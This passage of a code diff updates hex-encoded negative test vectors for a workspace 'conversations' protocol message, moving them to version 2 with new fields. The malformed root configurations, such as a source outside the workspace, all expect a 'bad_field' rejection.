c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c64657273222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000700600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c64657273222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-outputs-of-another-session", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-views-nested", "direction": "down", - "hex": "574d583101010000010000003c0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f7465732f646565706572222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000790600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f7465732f646565706572222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-ids-repeat", "direction": "down", - "hex": "574d58310101000001000000370600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000740600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-source-outside-workspace", "direction": "down", - "hex": "574d583101010000010000002b0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f6574632f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000680600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f6574632f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-no-roots", "direction": "down", - "hex": 